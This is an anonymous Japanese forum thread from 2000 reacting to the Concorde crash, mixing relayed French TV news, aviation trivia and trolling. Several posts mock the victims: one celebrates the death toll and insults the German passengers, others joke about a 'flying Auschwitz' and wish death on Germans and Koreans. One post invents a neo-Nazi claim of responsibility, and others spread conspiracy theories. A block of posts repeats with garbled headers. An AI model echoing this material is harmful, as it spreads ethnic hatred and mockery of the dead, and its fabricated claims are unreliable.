コンコルドが墜落！！ Part2

1 名前： 名無しさん＠１周年 投稿日： 2000/07/26(水) 00:15

追加情報を待て

元すれ
http://saki.2ch.net/test/read.cgi?bbs=news&key=964538108

ネタスレ化してるからいらない

ba-ka

>>3
オマエガナ

やだ

コンコルドに対抗してソビエトが造った
超音速ジェット旅客機のツポレフＴｕ１４４が
モスクワからアルマアタに向かう途中、墜落。

オマエモナ＞４

>>7
オマエ「ガ」ナ

コソコルド

ツアー客の中に、ドイツの航空関係の企業の奴がいないか？
コンコルドも古くなったし、新コンコルド開発にドイツが参加するための
陰謀とか？

コソコﾉﾚド

亀裂問題で大丈夫かと確かめたにも関わらず、墜落したんじゃ、
保証の上限など、無意味じゃないか？
保証金は、言い値状態では？

ドキュン　−＞　コンコルド
ドキュソ　−＞　コソコルド

　　　　　　　　　

　　　　　　　　　

あげ

ＮＨＫのフランス支局の人なんか逝っちゃってない？

シラクって、今回、何乗ってきたんだっけ？

コンコルドって小さいんだね。

中津川の次はコンコルドかい。ヒロヒトは
喜ぶかなあ。

外国で飛行機が落ちました。
でもニュースキャスターはうれしそうに「日本人はいませんでしたいませんでした」
僕は何をおもえばいいんだろう。

あぼーん

コンコルドが飛んでいく。

「日本人がいなくて良かったね」と思えば良かろう＞２１

加藤かんいちろう氏眠そう。

＞３０
見てて不愉快と言うのはあるかもしれないけど、
別に走ってるだけなら良いじゃない。
要は事故起こした本人に責任取らせれば良いんだから。

＞２９
裁判官は別に関係ないよ。

＞２２
あぼ〜んだろ？

＞２２
最後の晩餐は餃子？

>21
白人はアジア人黒人を見下す。こういう時はそれに負けじとうれしがる。白人を猿だと思えば。

レスの番号おかしい？

このスレいらない

たしかに

■■■■■■■■■■■■■■■■
もう切れました
専門板を１年かけて荒します
ニュース板削除人の責任です。
■■■■■■■■■■■■■■■■

プロバイダーのIPは記録しましたので、
限度を超えた場合は、業務妨害として
民事で訴えるかもしれません。

専門版てどこ

観光客が、中で、デジカメ使ったのが、原因かもしれないって、言ってるぞ。

飛行機オタクもあぼーん希望

業務妨害…　業務なんだ……
月１００まん以上？

脅迫してまーす。
警察連絡しましたー

＞２１
黄猿、逝ってよし！！

営業してたのか…
金持ちの道楽だと思ってた(^^;

今の時間も起きてたんだ。＞34

なんか止まった？
やっぱ怖くなったんだな(ｶﾜｲｰ

これで限度を越えてないってのは太っ腹だよな。（ｗ

ネット外で勝負だな

人の恨みって怖いんだよね

夏休み厨房ここに眠る。

ひろゆきさん刺されないでね(^^;

>21
＞外国で飛行機が落ちました。
＞でもニュースキャスターはうれしそうに「日本人はいませんでしたいませんでした」
＞僕は何をおもえばいいんだろう。

イエモンの名曲「ＪＡＭ」？？

━━━━━コンコルド墜落事故は笑えた！
死者１０人ごとにカウントしてたのってオレだけ？
（よっしゃー２０人突破！よーし次は３０人突破しろーって）
でも結局は１６０人しか死んでねえんだよね。全然、騒ぐほどじゃないし。
コンコルド墜落事故。まじで
ニュースで知って、手を叩いてわらったなぁ。
おまえらが事故にあって血流している間、ビール飲んでた
アホだなーこいつらって思いながら
わざわざシャルルドゴールまで行って記念撮影しようかと思ったよ。
でも墜落事故のおかげで何かしらの利益を得た人だっている訳だし
結果的には良かったんじゃないかな。
たしかコンコルドにのっていたのって全員ドイツ人らしいけど、
あいつらって体臭きついから社会の為なんだよね。
それにコンコルドって公害まきちらしてるし
ところで事故直後はあいつらって丸焦げ？
もしかしてウンコもやけたの？ 気持ちわりいなぁー。
どちらにしろヘリからの映像はまさに映画のようで壮観だった！
気持ちの良い明け方でした

TF1（フランスのテレビ局）見てたけど、ほとんど聞き取れなかった。
ここへ来て大体のことが分かりました、ありがとう。

しかし、ゴネスって町（聞いたことない）を「乗り継ぎ客用のホテルとか
の密集地帯」って報道したのどこ？
ＣＤＧ空港から２０キロもは離れた田舎町にそんなホテルが密集してる
わけないじゃん。

ジョスパンがさっそく現場に駆けつけてコメントしてましたが、まだ
原因とかは当然分からないようですね。
フランスでもやっぱり厨房がテレビに映ろうと懸命だなぁ・・・。

>50
死者数は「１１３人」と繰り返してましたが、ＴＦ１。
あとはパリのドイツ大使館の電話番号を繰り返してた。

２０時からのニュースはコマーシャル抜きでほとんどこの話題だった
けど、２１時からは通常番組。どこの局も。こんなものかな。

＞２１
「乗客に日本人はいませんでした、いませんでした、いませんでした！」だろ
ちゃんと歌詞覚えてカラオケいけ

ここぞとばかりに航空評論家がＴＶでまくるのね。いつものことか。

http://www.msnbc.com/m/lv/default.asp
のライブで放送していますが、機体と同じ長さの炎をエンジンから
噴出しながら墜落している写真が出ています。

１、バードストライク
２、バードブーメラン
３、バードミサイル
正解はどれ？

＞４９
印象深い。
あまり聞かない方だがあのフレーズだけなぜか覚えてる。

　　　　　 Λ＿Λ　　　／￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　（´∀｀　）　＜　コンコルドはもう時代遅れ
　　　　⊂　　　　つ　　＼＿＿＿＿＿＿＿＿＿＿＿＿＿
　　　　　（　（　 （
　　　　　（＿（＿）　　ﾊﾞﾋﾞｭｰｰｰﾝ
　　　＠｀‐' ⌒ ￣⌒⌒ヽ＿＿＿＿＿
　　（ （　　　　⌒‐　――――
　　　ヽ､＿ニ＿__＠｀

ＢＳ７でニュースやってます。

正解
４バードウオッチング・・・・つまんねー

近ごろの中高生はコンコルドで大人が大騒ぎするのがわからんだろな。
というか、夢の超音速旅客機の存在すらしらないか。

オカルト板の予言スレで予言されてました。
http://piza.2ch.net/test/read.cgi?bbs=occult&key=960135023&ls=100

488 名前： 大予見者 投稿日： 2000/07/08(土) 07:34

○今月中に赤いマークの着いた飛行機が墜落する。

494 名前： 名無しさん 投稿日： 2000/07/26(水) 03:04
上の方退屈なんで下の方から見てたんですが
488の予言(?)あたってないですか・・・？
コンコルドの尾翼に赤入ってるし


495 名前： 名無しさん＠お腹いっぱい。 投稿日： 2000/07/26(水) 03:50
＞４９４
たしかに・・・・・偶然にしてもちょっとヤダ

コンコルド開発でイギリスと更に仲の悪くなったフランスは、
コンコルド墜落でドイツとも険悪な仲になります。

もともと険悪です。

＞６２
アホか。
赤いマークの付いた飛行機ネタは有名だろうが。

赤いマークの付いていない飛行機って何がある？

ブルーインパルス

全員ドイツ人で中南米行きってのがいかにも怪しすぎないか。

堕ちたイナズマ

よかったよね。

英･仏が賠償するんでしょ？ガルーダインドネシアなかだったら、事故後が悲惨だろう。

NHK見ろ

ネオナチ？
総統は生きていた！

みんな、騙されてるネ。
あれも、マスコミのデマなんだよ。

だからオデッサの慰安旅行をモサドが潰したんだよ。

コンコルドは落ちてないぞ。
今日も大空を飛んでるんだ。

さっきＴＶ(France２）に特別番組が入って、現場の様子が写ってた。
死者の発見された位置に点々と工事現場にあるオレンジ色の三角柱が
立っていたよ〜
目撃者によると、やっぱり離陸直後に左エンジンから火を吹いて、
他のエンジンがに燃え移ったんだって。で、高度が上がらないまま
フラフラと空港近郊のホテルの上に落下。巻き添えの死者４人。

それにしても、事故のあった時間に外出してて、事故があったのを
知ったのが２ちゃんねるのスレが立った４時間後。現地にいながら
こんなに遅れをとるとは・・・しかも1000件突破してるし。

4つも、エンジン付けてて、離陸時のエンジントラブルで落ちるなんて。
古い設計は怖いね。

フジの解説者おもいっきり素人で笑える

こんこるどってせかいで７つしかないんだよ〜
しってっか！？

エアバス社の、550人乗りA3XXを潰す為の、
ボーイング社の、工作だね。

＞76
現地からの続報を待つ！
って、言って欲しいんだね。

月の石とソ連館が有れば良いな。

>76
現地からのレポートお願いします。
フランスは今夏ですか？
日本は暑いです(笑)

コンコルドは呪われし悪魔の航空機だ。

＞７６
君、ニュース板フランス語担当決定！！
英語分かるヤツは山ほどいるけど仏語理解者は貴重な存在。

＞７６
尊敬するよ。

ところであの写真いくらで売れたのかな？

従業員可哀想

コンコルドはエンジン４個を並べていたんだった？
コンコルドスキーは２発ずつ分けていたんだったけ？

後藤久美子は腐乱す語ペラペラだよ

>81 ２ちゃんねるの情報力に対抗しようなんて思ってません。それにもうＴＶ見て
ないし。ちなみにこっちのマスコミって乗客の名簿は絶対公表しないっす。
もう眠いので寝ます。（現在午前１時半）

＞89
いつの間にそんなにインテリになったんだ。
たかがアイドルじゃなかったのか・・・

乗客名簿公表するのって、ひょっとして日本だけ…？

>91
毎晩アレジに教わっています。

これは始まりにすぎない・・・・

「がいしゅつ」だったらすみません。

ここにも墜落直前の炎上写真が。
http://www.usatoday.com/

>95
朝からテレビで出まくり

ドイツ人大騒ぎ
http://www.zdf.msnbc.de/news/58050.asp

100

100

＞９８
そりゃ英仏共同開発機に乗って独人が死んだからね。
これが意図的な整備不良だったりしたらアーリア人大量虐殺（笑）

エアバスにしろコンコルドにしろ、フランスが作った飛行機は怖くて乗れん。

今回はチャーター便ですが、通常便ならば要人やら
企業のお偉方が多数搭乗していたんでしょうね。

∧＿∧　
　 （´∀｀）
　 （´∀｀）
　 （´∀｀） ／￣￣￣￣￣
　 （´∀｀）＜　おはよう、ヒロヒト
（´∀｀） ＼＿＿＿＿＿
　 （´∀｀）　
　 （´∀｀）　
　 （´∀｀） 　
　 ｜ ｜ |
　 （_＿）＿）
　

おはよう

おめでとう。

コソコルド？　コソコﾉﾚド？

でかい写真
http://dailynews.yahoo.com/h/p/nm/20000725/wl/mdf95422.html

＞１０８

なんかかっこいいね（笑）。

SNECNオリンパス５９３エンジンなぜ火を噴いた？

＞110
寿命の為です。（合掌）

フランス語では＝コンコルド
英語では＝コンコード
知ってた？

コンコル堂

ラテン語ではコンコルディア

コンコルドは超音速定期就航が世界最初ではない
１９７５年１１月２８日Ｔｕ−１４４がモスクエア〜アルアマタ（カザフスタン首都）間に
それも超音速貨物路線を開設したのが最初

＞１１０
オリンパスってカメラ屋が作ったエンジンだから？

ＴＵ−１４４のエンジングズナツォフＮＫ−１４４エンジンは
ターボジェットじゃなくなんとターボファンエンジンだった

アルアマタじゃない、アルマアタだ。
モスクエアってのも変だぞ。

コンコルドの受注予定先だった航空会社
パンナム（６機）
アメリカン
イースタン
ユナイテッド
トランスワールド（以上６機）
カンタス
エアカナダ（以上４機）
日航
ブラニフ
コンチネンタル
ルフトハンザ
中国民航（以上３機）
エアインディア
サベナ
中東航空
イラン航空（以上２機）

アメリカで計画されたＳＳＴ
ボーイング２７０７−１００
ロッキードＬ−２０００
だが１９７１年３月２４日の上院本会議で否決、それから日の目お見ていない

エンジン切り離せ！ミライ！
http://dailynews.yahoo.com/h/p/nm/20000725/wl/mdf95422.html

コンコルドはパリ･ニューヨーク間を三時間半で飛び音も静かだそうな｡
元週間プレイボーイの編集長の島地氏が､利用したとき下痢気味で、
トイレにいったがあいにく男子トイレはふさがっており、仕方なく
スチュワーデスに了解を得て女子トイレで用を足すことにしたが、女子
トイレには、いろんなボタンがついているのであまり触っては、だめです
よと､忠告を受けたが興味新進でボタンを押していった。そうしたら、
温かいお湯が出てきてお尻を洗ってくれた。次のボタンを押してみたら
温かい風が吹き出した。次のボタンを押したらパウダーパフだった。
次にATRと書いてあるボタンを押してしまった｡ギャーと言う悲鳴と､
共に便所で気絶してしまったそうだ。気がついたらニューヨークの
病院で寝ていた。看護婦が「あなた触っちゃいけないといわれたボタン
触ったでしょう。」「ATRっていったい何かね？」と聞くと「あれは、
オートマチック・タンポン･リムーバーです」「あなたのコックは、
枕もとに､あります」といった｡最近の島地氏の近況報告。歌舞伎町で
店をはじめたらしい。

ダッソーブレゲー社が開発したメルキュールは１２機しか生産されず
もっともマイナーな機体

14日間NYーキューバー南米のカリブ海クルーズなんて
一度はしてみたい。うらやましいけど出発後すぐに
死んじゃうなんてあまりにも悲惨すぎる・・・・。

みんな金持ち。コンコルドはオールファーストクラスだし。
哀れなり。
貧乏な２ちゃんねらーが氏ねばよかったのに・・・

ＴＵ−１４４の改良型ＴＵ−１４４Ｄがどうなったか教えてくれ
確かアメリカとＳＳＴの研究のため飛ばしてるはずだが・・・・

お金持ちの夏休みの過ごし方って凄いね。
2ｃｈにもお金持ちな人って結構いるんじゃないかな。

乗客がドイツ人ということで、第二次世界大戦の仕返しかと思ってしまったのはわたしだけ？
空飛ぶアウシュビッツだね。

遺産相続もめまっせ

Ｂ７２７−２００最高！
当時羽田〜伊丹間はなんと２７分だった！
吉永小百合と舟木和夫のＢ７２７の歌もう一度聞きたい

関西空港の開港時に飛んできたなぁ・・・
＞１３０
その７２７（７０７・７３７・７５７も含めて）より
胴体が細いのよ。コンコルドって。
ちなみに料金は通常のファーストクラスの２割増しだって。

Ｂ７０を旅客機に改造します

ＸＢ７０バルキリーは世界最高の飛行機だ

＞１３２
ノースロップ社の全翼爆撃機ＸＢ−４９も旅客機改造計画あったな

全翼爆撃機を実用化しようとしたのは我が社だぞ！
不採用になったのは政治的策謀だ！

＞１３５
ＸＢー３５もなんでコンベアＢー３６に敗れたの？
かっこはＸＢ−３５の方が上なのに
やっぱ二重反転プロペラの不調？

航空オタ逝くべし

＞136
単純に性能で負けたさ

ＸＢ７０バルキリーは世界最高の飛行機だって何だね？

http://www.sfc.keio.ac.jp/~schwatch/museums/air_force/xb70_2.html

>125
>みんな金持ち。
有名人も居たのかな？

トライデントなんでＢ７２７に破られたのかな〜
一時期全日空もバイカントの付き合いで、採用しそうになったのに

＞１３９
バルキリー確かＴ−３８タロンと接触して、計画がオジャンになったんだよな

「ボーイングＦ−１５イーグル」って、いまだに
しっくりこない。

光速飛行計画にされるかな。

エアバスのオール二階建て超大型機発表あったけど
ＭＤ社もむかしＭＤ−１２なんて同じような計画あったな

バルキリー？　　変形しねーの？

＞Ｂ７２７−２００最高！

　記録作ったのは−１００。機長は後藤さん。

＞当時羽田〜伊丹間はなんと２７分だった！

　伊丹〜羽田（東向き）ね（羽田＞伊丹ぢゃ、西風に乗れないでしょ）。

＞吉永小百合と舟木和夫のＢ７２７の歌もう一度聞きたい

　「そこは青い空だった」のことなら、舟木「一夫」ぢゃなくって橋幸夫。

　２ちゃんねるだからって、いいかげんなこと書いちゃだめだよ。

俺が初めて乗った飛行機は、羽田→伊丹のＢ７２７。
当時（２６年前）は大阪線でもこんな小さい飛行機使ってたんだなぁ。。。。

　ヴァルキリーは墜落事故以前に計画中止が決まって
いたんじゃなかったっけ？　あんときの飛行もGEの
CM撮影かなんかだったような。

　

＞１４８
ご指摘ありがとう、何せ古いことなので・・・・
日本国内航空のＣＶ８８０っていつ頃使われたの？

＞149
ピンポン。
2機だけ、SST研究用に作られて、GE撮影中にF104と接触して墜落。
残った1機は、無事、博物館入りしました。

＞１５１
タロンじゃなくってＦ１０４か・・・・
博物館行きのとき、確か高速の上を牽引されて行ったんだっけ・・
また間違えたらゴメン

＞152
そうそう。カーブで、左足、踏み外しそうになって、
手こずってる写真が、本に載ってたね。

出典は、音速突破半世紀（ミリタリーエアクラフト1月別冊）￥2350円
なんとかコード T1108496012350

ところでこれで超音速旅客機の歴史が、この事故で途絶えてしまうか心配だ・・・

＞155
極超音速旅客機が出来るまで、待つしかなさそうだね。

　ついでに

＞１４２

　バルキリーと接触（垂直尾翼をなぎ倒した）のは、Ｆ１０４。

エアヲタスレッド化しつつあるな。
あの火の鳥写真を撮ったのも
ハンガリーのエアヲタらしいな。
あの写真いくらで売れたんだろうか。

ついでに
バルキリーのパイロットは、無事生還。
副パイロットと、F104のパイロットは死亡。

＞１５６
原子力超音速旅客機ＦＲＩＥＦＬＡＳＨの出現まで待つか・・・
ところでサンダーバードってメカの動力が、ほとんどが原子力なんだよな・・
昔の人は２１世紀は、皆こうなると思っていたんだろうなー

＞160
アメリカは、中止していた原子力ロケットの開発を再開したから、
こっちは実現の可能性も、あるかも。

＞１６１
Ｂ−３６で原子力機の研究やっていたような・・・・
機体の、放射能警告マークが付いてる写真が不気味だった
あれ何の実験やってたの？

大気圏内超音速飛行禁止･･･。

140 名前： 名無しさん＠１周年 投稿日： 2000/07/26(水) 14:40

>125
>みんな金持ち。
有名人も居たのかな？141 名前： 旅客機ヲタ 投稿日： 2000/07/26(水) 14:40

トライデントなんでＢ７２７に破られたのかな〜
一時期全日空もバイカントの付き合いで、採用しそうになったのに142 名前： 旅客機ヲタ 投稿日： 2000/07/26(水) 14:43

＞１３９
バルキリー確かＴ−３８タロンと接触して、計画がオジャンになったんだよな143 名前： 名無しさん＠１周年 投稿日： 2000/07/26(水) 14:44

「ボーイングＦ−１５イーグル」って、いまだに
しっくりこない。144 名前： バート 投稿日： 2000/07/26(水) 14:49

光速飛行計画にされるかな。145 名前： 旅客機ヲタ 投稿日： 2000/07/26(水) 14:56

エアバスのオール二階建て超大型機発表あったけど
ＭＤ社もむかしＭＤ−１２なんて同じような計画あったな146 名前： 名無しさん＠１周年 投稿日： 2000/07/26(水) 15:10

バルキリー？　　変形しねーの？147 名前： 本職 投稿日： 2000/07/26(水) 15:22

＞Ｂ７２７−２００最高！

　記録作ったのは−１００。機長は後藤さん。

＞当時羽田〜伊丹間はなんと２７分だった！

　伊丹〜羽田（東向き）ね（羽田＞伊丹ぢゃ、西風に乗れないでしょ）。

＞吉永小百合と舟木和夫のＢ７２７の歌もう一度聞きたい

　「そこは青い空だった」のことなら、舟木「一夫」ぢゃなくって橋幸夫。

　２ちゃんねるだからって、いいかげんなこと書いちゃだめだよ。

148 名前： 名無しさん＠１周年 投稿日： 2000/07/26(水) 15:26

俺が初めて乗った飛行機は、羽田→伊丹のＢ７２７。
当時（２６年前）は大阪線でもこんな小さい飛行機使ってたんだなぁ。。。。149 名前： 名無しさん＠１周年 投稿日： 2000/07/26(水) 15:32

　ヴァルキリーは墜落事故以前に計画中止が決まって
いたんじゃなかったっけ？　あんときの飛行もGEの
CM撮影かなんかだったような。

150 名前： 旅客機ヲタ 投稿日： 2000/07/26(水) 15:34

＞１４８
ご指摘ありがとう、何せ古いことなので・・・・
日本国内航空のＣＶ８８０っていつ頃使われたの？

151 名前： ヴァルキリー萌え萌えー 投稿日： 2000/07/26(水) 15:38

＞149
ピンポン。
2機だけ、SST研究用に作られて、GE撮影中にF104と接触して墜落。
残った1機は、無事、博物館入りしました。152 名前： ヒロヒト（闇の狩人） 投稿日： 2000/07/26(水) 15:46

＞１５１
タロンじゃなくってＦ１０４か・・・・
博物館行きのとき、確か高速の上を牽引されて行ったんだっけ・・
また間違えたらゴメン153 名前： 名無しさん＠１周年 投稿日： 2000/07/26(水) 15:53

＞152
そうそう。カーブで、左足、踏み外しそうになって、
手こずってる写真が、本に載ってたね。154 名前： 153 投稿日： 2000/07/26(水) 15:57

出典は、音速突破半世紀（ミリタリーエアクラフト1月別冊）￥2350円
なんとかコード T1108496012350
155 名前： 旅客機ヲタ 投稿日： 2000/07/26(水) 16:25

ところでこれで超音速旅客機の歴史が、この事故で途絶えてしまうか心配だ・・・156 名前： メカフェチ 投稿日： 2000/07/26(水) 16:27

＞162
NB-36Hだって。47回飛行したって書いてあるけど、実験内容は書いてないんだ。

出典は、
アメリカ・イギリス軍試作・計画機（2）（ミリタリーエアクラフト3月別冊）
なんとかコード T1108496032358

遺体の確認作業のためドイツから家族が現地入りしたそうです。
ご冥福をお祈りします。

コンコルドが堕落！！

NTVで、やってる。
火の鳥　墜落
だって。　ネタにして遊んでるなー。

関空で墜落しなくて良かった（笑）

コンコルドって、超音速飛行中は、アフターバーナー使ってるの？

フサイチコンコルド

自爆装置が作動

滑走路にエンジン部品？だと。テレ東。

>166
確認なんか出来るの？原型残ってないんじゃないの

アメリカが超大型機の開発をじゃましてやった、なんて言った奴がいたけど
現実にそうなりそうなので、デマでもないんじゃないか？

＞175
あれ、オレ。エアバス社のA3XXね。
思い出してくれて、ありがとう。

アメリカは航空宇宙産業を独占したがるからな〜
日本航空機製造もＹＳ−３３なんてジェット機も結局潰されたしな
（採算が合うか絶望的だが）

一人、洗脳完了。　他に、洗脳されたい人は？

＞１７８
本物かい？
誰、洗脳したの？

アフターバーナを最燃焼装置ってテロップだしてた。
アフターっていう意味わかんないかなあ？

どうなんでしょうね。テレビじゃ飛行機とホテルの残骸（黒焦げ）しか
分からなかったけど、地元の他目的ホールにビニールシートを敷き詰めて、
遺留品を並べる準備してた。私が見た時は、まだ何も到着してません、って
言ってたけど。

日本だったら直ちに乗客の名前が繰り返しテレビに出るんだろうけど
ドイツのテレビではやるのかな？フランスではやらない代わりに「知人等
が心配な場合、パリのドイツ大使館へ電話しろ」と、電話番号を連呼して
ました。
チャーターじゃない定期便の方は、パリ−ＮＹ間の乗客のかなりの割合が
アメリカ人だそうで、さぞかしお金持ちがたくさん乗ってるんでしょうね。

日本航空パリ支社のあのクソ親父の情報きぼ〜ん

183はブラクラ。くそったれ。

＞183
どっかで、みたなあ。

ネオナチの下部組織「リッタークロイツ・ルフトヴァッフェ」が
非公式に犯行声明を発表。死亡したドイツ人の大半はドイツ本国
の労働組合や左翼団体の重鎮との事。

ドイツ人が何人死のうと全然オーケー。
ついでに韓国人も死になさい。

>165
実験は機種に鉛に囲まれた原子炉を積んで乗員の遮蔽試験だって
これってほとんど人体実験じゃないかい？

Tu-144の説明、厨房ども勉強してみたら？
http://www.bird.ch/Russians/Tu144/TU144P01.html

>>170
Mach1.7までは使います。

>>180
コンコルドのはアフターバーナーではなくて、リヒータと言います。
どっちにしろ最燃焼は誤植だけど。

滑走中に速度を超えたら
エンジンが火を吹いても離陸しなければいけないなんて．．．

飛行機は怖い乗り物ですね。速いけど。

＞191
　っつーか「なぜ」離陸しなければいけないかの説明がなかったじゃん。
　そういう決まりだ　っつーだけでさ。久米が突っ込みかけたけど。

速度が出てるのに無理矢理離陸を止めると
福岡空港のガルーダ機事故のような事になります

>>191
つーか、Vr超えたらほっといても浮いていくんだから、
降ろすほうが面倒でしょうに。

「ＢＡがコンコルドの運航再開」
http://www.asahi.com/0726/news/international26019.html
>徹夜で検査した結果、今後の運航を取りやめるべき技術、運航、
>安全上の問題点は見つからなかった

「絶対の自信がある」なんて言ってますが、エンジントラブルの原因は
解明できてるんでしょうか。コメットは機体設計のミスでした。コンコ
ルドの設計は良いとしても、交換部品の欠陥の有無は調べなくて良いの
でしょうか。もはや就航当初の材質、設計では無いと思います。

元スレみたけど、２ちゃんの速報性はやっぱすごいな。

コンコルドって離陸するときリヒート必要なの？

ＴＵ−１４４のファンジェットにはアフターバーナが付いているのかな

>199
コンコルドスキーってアフターバーナー付きだと思う。

200

むっ。

エンジンから火ぃ吹いている写真、合成の恐れはないの？
いったいどういうタイミングで撮ったのやら不思議でならないんですが。

ＢＳ２で飛行機やってるぞ

おおＢｆ１０９

しんだのどいつ？

おおアメリアイアハート

終わった

ま、事実関係は明らかになるでしょう。
今のとこ、アフターバーナーが原因との見方が有望だ。
なんせ、燃焼後のエアに燃料吹っかけて再燃焼してんだから、排気
温度は相当なもんだろ。部品が破損してもおかしくは無い。
答えが出るまで時を待とうではないか。

ＴＵ−１４４の左右のエンジン間隔がコンコルドより狭く見えるが
この事故でTU-144の方が正解だった訳ですね？

原始的貨幣経済について、答えよ。

＞２０８
一年かけて調べるってよ。

皆様に質問があります。
「Ｖ１」「ＶＲ」「Ｖ２」とはそれぞれどのような意味なのでしょうか？

VRで離陸

＞212
ロケットの名前

ことばのあやにつけこむようで申し訳ないけども、
アフターバーナーだけが直接的な原因つーわけじゃなさそうな気が。
離陸時にアフターバーナーやったことにより、なんらかの理由により
壊れ気味だった、もしくは壊れちゃっていたエンジンが、ファイヤー
しちゃったということだと思うけど。
あ、リヒータつのね＜今過去ログ読んだ
加速中にある程度の速度まで達した時点でエンジンがファイヤーした
としても離陸しなければならないっつのは、滑走路内ではもう止まれ
ない場合、つことであってるのかな？＞エア通の皆様
関西とか羽田とかみたいな、すぐ海のあるところだったら、そのまま
海に落ちたほうが死者も少なくなりそうとか、そういう考えは合って
る？＞やはりエア通の皆様

>215
＞関西とか羽田とかみたいな、すぐ海のあるところだったら、そのまま
＞海に落ちたほうが死者も少なくなりそうとか、そういう考えは合って
＞る？

間違っていると思う。
まともなパイロットなら意地でも滑走路に着陸しようと試みるはず

脱出装置がついてる飛行機なら別だよーん

旅客機にパイロットだけの脱出装置がついていたら笑えるな

>216
>間違っていると思う。
>まともなパイロットなら意地でも滑走路に着陸しようと試みるはず

いや、離陸しちゃったらじゃなくて、そのまま滑走を続けてたら。
あー、やっぱいったん離陸して戻るのが正しいのかな？

>218
もちろん止まれるんならそれが一番いいでしょう
でも止まれなかったら悲惨な目にあいます。
ちょっとくらいオーバーランしても墜落よりはいいので判断
に迷うところでしょう。

NNN24でホームビデオで撮った映像出てたぞ

＞２２０
見た見た
ありゃ、カミカゼだね！

>212>215>216>218>219
http://www.jal.co.jp/jiten/dict/p277.html
疑問の大概の部分が解説されてますので、よかったら。
簡単に言うと大方の旅客機は、１８０ノット大体３００キロぐらいで
浮かび出すので、１００ｔ前後の図体を無理から止めようとすると危ない。
＞２２０
どうやら、ヒューマン・エラーの線で決まりですね。
しかし、スペイン人のトラッカー夫婦もビデオはいろいろ撮っただろうが、
これほど燃えたのは初めてですとはイワンだろ。

決定的瞬間で川流れシーンを流して欲しいね
外国のやつだったら平気で流すんだしさ

>221
科学忍法です。

海の中にごつい誘導灯が幾つも突っ立っているからね
これらを飛び越えてからの着水なら良いかも
と機体の散乱具合が狭いような気がする
名古屋での事故と落ち方が似ているかも
と逆噴射関係の不具合でああいうモエ方するものかね

リバース・スラスター？
スラストシバーサ？

どっちが、正しい日本語なんでしょう？

どっちも日本語じゃないよ

今日の午後には、フライトレコーダの解析結果が発表されるらしい。

Tu-144は客席の下にエンジンがあるからよけいあぶないよ

しかしこんなに死んだのにニュースでも専門家は誰一人コンコルドを
悪く言わないのが驚くよね。
名誉・誇り・夢とかそんなんばっかり言ってさ。
そんなにすごいのか、３０年前の飛行機が？

ユーゲントとその末裔の抹殺に成功したシラクに乾杯♪

>>229
機体的には主翼の真下にエンジンある方が怖い（すぐ上に燃料タンクがあるから）
ファン・ブレードが吹っ飛んで燃料タンクを突き破るかもしれない。
ジャンボやエアバスみたいに普通のポット吊り下げ式だと主翼前縁よりも前にエン
ジンが突き出しているから、仮にブレードが吹っ飛んでも主翼の燃料タンクを付き
破ったりしない。
今回は仮にＡＦＢのトラブルでも燃料漏れしなければあんなに盛大に炎ははかない
と思うけど・・・まあ、調査の結果待ち。

>230
凄いですよ。３０年たってもあれを超える機体がでないのですからね。
（まあ、経済的な理由も色々あるけどさ）
それに３０年間で今回が始めての死傷事故なんです。

飛行機オタクは逝ってよし

ご冥福の一言でも書けない輩は逝ってよし

新幹線ももう３０年経ってるよなぁ…
そろそろ事故らないの？
山陽でトンネル内に生き埋めになって５００人死亡とか？

なーるほどねー、海もよさそうな気もしましたが。
難しいとこなんすねー。
レスありがとでした。勉強になりました。＞216＠｀219＠｀225

>235
日本人は既に対策を実行に移している。

ジャンボも古いぞ。でも巡航速度とか搭載量とかで未だ一線級だゾ。
下手な戦闘機より早いぞ。

ジャンボは４００になってから中身が入れ替わったじゃん。

新幹線はＪＲ東日本が起こしそう。
朝の１０００人以上乗った列車が吹っ飛んだところに対向列車が激突、
死者３０００人とか。

＞２３９
そうなの。古いのは機体デザインだけなの。でもすごい。

７４７のことを考えたら、今回まで事故らしい事故が無かったのが凄い。

東北新幹線は朝イチの超満員便（往復で半額）で
日によってとんでもないラッシュになっているから、
絶対になんか起きるぞ。

＞２３９
ＪＲ東日本より設備が老朽化してる東海か手抜き工事の西日本だろ（笑）

>>238
まじで戦闘機より早いの？
俺、最高でも1100km/hくらいまでしか体験したことがない。

＞２３８
一線級で活躍する陰に数々の犠牲が…（笑）

ま、日本人には作れなーだろーな。

20機しか、無いんだよ。確率しらねー厨房か？（藁

今後は対空ミサイルを積みまくって空の要撃要塞として運用していただきたい。

今フジで火を噴いて飛んでる映像が流れた。
火の鳥みたいじゃの〜　不老不死
トラック運転手が撮ったらしい。いくらで売ったんだろ？

アメリカでのＴｕ−１４４Ｄの実験結果
http://www.dfrc.nasa.gov/gallery/photo/TU-144LL/index.html

いいじゃん飛行機オタ、こういうとき便利じゃん！

>232
30年間無事故って実際飛行機として他の機種（って言って良いのかな？）と
比べて安全て言えるもん？←スマン単純に質問
それともNステで言ってたよーに「整備士が誇りを持って全力で整備してる」から
無事故だったっていう話？
それともたった２０機（１７とか３０とかいろいろ言われてますな）しかないから
単純な確率の問題か？

飛行機ヲタうざい

ロッキードＬー２０００のバイザー部分最高！
ボーイング２７０７−１００の可変翼最高！
次世代ＳＳＴは実現可能だ！

そういや２ちゃんって飛行機板ないんだな。

＞２４７
たとえ２０機でも基本設計がダメなら事故が多発してるだろ。
お前こそ厨房だな（笑）

＞251
飛行回数当たりの事故率、飛行時間当たりの事故率、総飛行距離当たりの事故率
が、安全性の基準になります。
30年間無事故、は、何の意味を持たない、あおり言葉ですね。

＞253
次世代ＳＳＴは、チタン何かを多用すると、高くなるから、ステンレスで作ってもらおう。
ナスとか、リンナイに、活躍してもらって。

コンコルドを製作したＢＡｅ（ＢＡＣ）とアエロパシアル（シュド）はヨーロッパの誇りだ！

＞255
では、747の基本設計がダメだと言うのですか？

＞258
そうですね。自前の爆撃機すらあきらめたヨーロッパが、
どうやってコンコルドを設計出来たのか？
今、考えると、奇跡ですね。

エアバス社はヨーロッパの誇りだ！
http://www.airbus.com/

>>251
超音速機って言う他の旅客機に無い特殊性は考慮しないのですか？

川崎重工業 は、日本の恥です！
http://www.khi.co.jp/

>>262
間違えた251->256だ。

それでコンコルドは飛行距離に対する飛行時間が他の旅客機と大きく
異なります、つまりこの機体では「速度」も考慮しないといけません。
（他のジェット旅客機ではどれも似たり寄ったりです）
そして、これがこの機体の最大の特徴ですし、この機体が他の通常の
旅客機に比べて特異な形態と特殊な構造を持つ理由です。
これは今回の事故原因にも関係する話しですし、他の通常の旅客機と
同一には見れない理由です。

（まあ、乗ってる乗客にはどうでもいい事ですけどね）

